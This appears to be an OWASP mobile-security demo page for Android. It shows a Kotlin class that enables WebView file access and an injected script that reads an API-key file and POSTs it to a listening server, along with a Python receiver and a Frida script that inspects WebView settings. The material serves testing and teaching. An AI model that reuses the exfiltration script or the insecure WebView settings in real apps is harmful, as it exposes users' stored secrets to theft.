This sample demonstrates the use of WebViews allowing local file access in an Android app and how an attacker could exploit these settings to exfiltrate sensitive data from the app's internal storage using file URIs.
packageorg.owasp.mastestappimportandroid.content.Contextimportandroid.webkit.WebViewimportjava.io.*/** * This class writes a sensitive file ("api-key.txt") into internal storage and then loads a vulnerable * page into a WebView. That page simulates an XSS injection: * an attacker's script (running in the context of the vulnerable page) makes an `XMLHttpRequest` to * read the sensitive file via the file system and then uses `fetch` to send the content to an external server. * * By loading the page with a `file://` base URL and enabling universal access from file URLs, * we relax the default restriction (which would otherwise treat `file://` requests as opaque origin) * and allow the `XMLHttpRequest` to succeed. */classMastgTestWebView(privatevalcontext:Context){funmastgTest(webView:WebView){// Write a sensitive file (for example, cached credentials or private data).valsensitiveFile=File(context.filesDir,"api-key.txt")sensitiveFile.writeText("MASTG_API_KEY=072037ab-1b7b-4b3b-8b7b-1b7b4b3b8b7b")valfilePath=sensitiveFile.absolutePath// Configure the WebView.webView.settings.apply{/* `javaScriptEnabled` is required for the attacker's script to even execute. * This is very common in WebViews, unless they only load static content. */javaScriptEnabled=true/* `allowFileAccess` is required in this attack since it * allows the WebView to load local files from the app's internal or external storage. * This app has a `minSdkVersion` of 29, the default value is `true` * unless you run it on a device with an API level of 30 or higher. */allowFileAccess=true/* `allowFileAccessFromFileURLs` is required in this attack since it * lets JavaScript within those local files access other local files. */allowFileAccessFromFileURLs=true/* `allowUniversalAccessFromFileURLs` is not really required in this attack because * the `allowFileAccessFromFileURLs` setting already allows the attacker's script to * access the sensitive file via the file system. */// allowUniversalAccessFromFileURLs = true}// Vulnerable HTML simulating an XSS injection.// The attacker-injected script uses XMLHttpRequest to load the sensitive file from the file system.valvulnerableHtml=""" <html> <head> <meta charset="utf-8"> <title>MASTG-DEMO</title> </head> <body> <h1>MASTG-DEMO-0031</h1> <p>This HTML page is vulnerable to XSS. An attacker was able to inject JavaScript to exfiltrate data from the app internal storage using file:// URIs.</p> <p>The file is located in $filePath</p> <p>NOTE: For demo purposes we display the exfiltrated data on screen. However, the user wouldn't even notice as the data is exfiltrated silently.</p> <script type="text/javascript"> function exfiltrate(data) { var output = document.createElement("div"); output.style.color = "white"; output.style.borderRadius = "5px"; output.style.backgroundColor = "red"; output.style.padding = "1em"; output.style.marginTop = "1em"; output.innerHTML = "<strong>Exfiltrated Data:</strong><br>" + data; document.body.appendChild(output); // Send the text file content to the external server fetch('http://10.0.2.2:5001/receive', { method: 'POST', headers: { 'Content-Type': 'text/plain' }, body: data }) .then(response => console.log('File content sent successfully.')) .catch(err => console.error('Error sending file content:', err)); } function readSensitiveFile() { var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (xhr.readyState === XMLHttpRequest.DONE) { // For local file requests, a status of 0 with a non-empty responseText indicates success. if (xhr.status === 200 || (xhr.status === 0 && xhr.responseText)) { exfiltrate(xhr.responseText); } else { exfiltrate("Error reading file: " + xhr.status); } } }; xhr.onerror = function() { exfiltrate("Network error occurred while reading the file."); }; xhr.open("GET", "$filePath", true); xhr.send(); } // Simulate the injected payload triggering. readSensitiveFile(); </script> </body> </html> """.trimIndent()// Load the vulnerable HTML.// Using a base URL with the file:// scheme gives the page a non‑opaque origin (using content:/// works the same way).webView.loadDataWithBaseURL("file:///",vulnerableHtml,"text/html","UTF-8",null)}}
Note that for the exfiltration to work we include the android:usesCleartextTraffic="true" attribute in the AndroidManifest.xml file to allow cleartext traffic. However, the same script would work with HTTPS endpoints.
The code includes a script that demonstrates how an attacker could exploit the WebView settings to exfiltrate sensitive data from the app's internal storage using file URIs (file://).
This sample:
writes a sensitive file (api-key.txt) into internal storage using File.writeText().
See vulnerableHtml in the MastgTestWebView.kt file.
The attacker's script (running in the context of the vulnerable page) uses XMLHttpRequest to load the sensitive file from the file system. The file is located at /data/data/org.owasp.mastestapp/files/api-key.txt
fetch is used to send the file contents to an external server running on the host machine while the app is executed in the Android emulator (http://10.0.2.2:5001/receive).
Note: For demonstration purposes, the exfiltrated data is displayed on screen. However, in a real attack scenario, the user would not notice as the data would be exfiltrated silently.
importhttp.serverimportsocketserverimportjsonclassHandler(http.server.BaseHTTPRequestHandler):defdo_POST(self):length=int(self.headers.get('Content-Length',0))data=self.rfile.read(length)text=data.decode('utf-8')print(f'\n\n[*] Received POST data from {self.client_address[0]}:\n')try:parsed=json.loads(text)pretty=json.dumps(parsed,indent=4)print(pretty)exceptExceptionase:print(text)self.send_response(200)self.send_header('Access-Control-Allow-Origin','*')self.end_headers()deflog_message(self,format,*args):# Suppress the default loggingpassif__name__=='__main__':withsocketserver.TCPServer(('0.0.0.0',5001),Handler)ashttpd:print('Serving on port 5001...')httpd.serve_forever()
// Configuration parameter:// Set to true to wait for the first call to getSettings() before enumerating WebViews.// Set to false to enumerate immediately.vardelayEnumerationUntilGetSettings=true;Java.perform(function(){varseenWebViews={};varinternalCall=false;// Flag to indicate internal calls// Function to print backtrace with a configurable number of lines (default: 5)functionprintBacktrace(maxLines=8){letException=Java.use("java.lang.Exception");letstackTrace=Exception.$new().getStackTrace().toString().split(",");console.log("\nBacktrace:");for(leti=0;i<Math.min(maxLines,stackTrace.length);i++){console.log(stackTrace[i]);}console.log("\n");}functionenumerateWebViews(){Java.choose("android.webkit.WebView",{onMatch:function(instance){varid=instance.toString();if(seenWebViews[id])return;// Skip if already seenseenWebViews[id]=true;Java.scheduleOnMainThread(function(){console.log(`\n[*] Found WebView instance: ${id}`);try{internalCall=true;// Set flag before calling getSettingsvarsettings=instance.getSettings();internalCall=false;// Reset flag after calling getSettingsconsole.log(`\t[+] JavaScriptEnabled: ${settings.getJavaScriptEnabled()}`);console.log(`\t[+] AllowFileAccess: ${settings.getAllowFileAccess()}`);console.log(`\t[+] AllowFileAccessFromFileURLs: ${settings.getAllowFileAccessFromFileURLs()}`);console.log(`\t[+] AllowUniversalAccessFromFileURLs: ${settings.getAllowUniversalAccessFromFileURLs()}`);console.log(`\t[+] AllowContentAccess: ${settings.getAllowContentAccess()}`);console.log(`\t[+] MixedContentMode: ${settings.getMixedContentMode()}`);console.log(`\t[+] SafeBrowsingEnabled: ${settings.getSafeBrowsingEnabled()}`);}catch(err){console.log(`\t[-] Error reading settings: ${err}`);}});},onComplete:function(){console.log("\n[*] Finished enumerating WebView instances!");}});}varWebView=Java.use("android.webkit.WebView");if(delayEnumerationUntilGetSettings){varenumerationTriggered=false;WebView.getSettings.implementation=function(){if(internalCall){returnthis.getSettings();// Return immediately if it's an internal call}varsettings=this.getSettings();varid=this.toString();console.log(`\n[*] WebView.getSettings() called on instance: ${id}`);printBacktrace();if(!enumerationTriggered){enumerationTriggered=true;Java.scheduleOnMainThread(function(){console.log("\n[*] Triggering enumeration after getSettings() call...");enumerateWebViews();});}returnsettings;};}else{enumerateWebViews();}});
The Frida script is designed to enumerate instances of WebView in the application and list their configuration values. The script does not explicitly hook the setters of the WebView settings but instead calls the getSettings() method to retrieve the current configuration.
The script performs the following steps:
Enumerates all instances of WebView in the application.
For each WebView instance, it calls the getSettings() method to retrieve the current settings.
Prints the configuration values of the WebView settings.
Prints a backtrace when the getSettings() method is called to help identify where in the code the settings are being accessed.
The output shows that Frida found one WebView instance and lists many of the WebView settings. A backtrace is also provided to help identify where in the code the settings are being accessed.
Note that using this approach we can't really tell if the methods are explicitly called in the code since we're inspecting the WebView settings after they have been configured. However, in this case, all methods detected must have been explicitly called in the code since the settings are not enabled by default.
As indicated by the backtrace in the output, the settings were called in the mastgTest method of the MastgTestWebView class. Since this app is a demo and symbols aren't stripped, we can even see the exact file and line number where the settings were configured: MastgTestWebView.kt:25.